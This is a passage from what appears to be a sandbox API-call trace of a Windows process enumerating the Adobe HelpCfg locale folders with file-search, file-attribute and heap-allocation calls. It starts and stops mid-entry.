dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.139] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.139] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.139] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.140] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.140] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb108 [0086.141] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e8638 [0086.141] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.141] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.141] GetLastError () returned 0x12 [0086.141] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.141] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.142] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.142] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.142] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.142] GetLastError () returned 0x12 [0086.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.142] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.142] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.143] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.143] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0086.143] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.143] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\de_de"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.179] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\de_de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0086.180] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.180] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.181] NtClose (Handle=0x168) returned 0x0 [0086.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.182] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.182] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.182] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb128 [0086.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e8740 [0086.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.184] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.184] GetLastError () returned 0x12 [0086.184] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.185] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.185] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.185] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.185] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.185] GetLastError () returned 0x12 [0086.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.185] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.186] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1 [0086.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.186] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\en_us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\en_us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.186] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.187] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.187] NtClose (Handle=0x180) returned 0x0 [0086.187] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.187] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.188] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.188] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.188] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.188] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.189] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.189] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb148 [0086.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e8848 [0086.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.190] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.190] GetLastError () returned 0x12 [0086.190] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.190] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.191] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.191] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.191] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.191] GetLastError () returned 0x12 [0086.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.191] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.192] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0086.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.192] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\es_es"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.226] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\es_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0086.227] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.227] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.227] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.228] NtClose (Handle=0x168) returned 0x0 [0086.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.229] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.229] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb168 [0086.231] RtlAllocateHeap 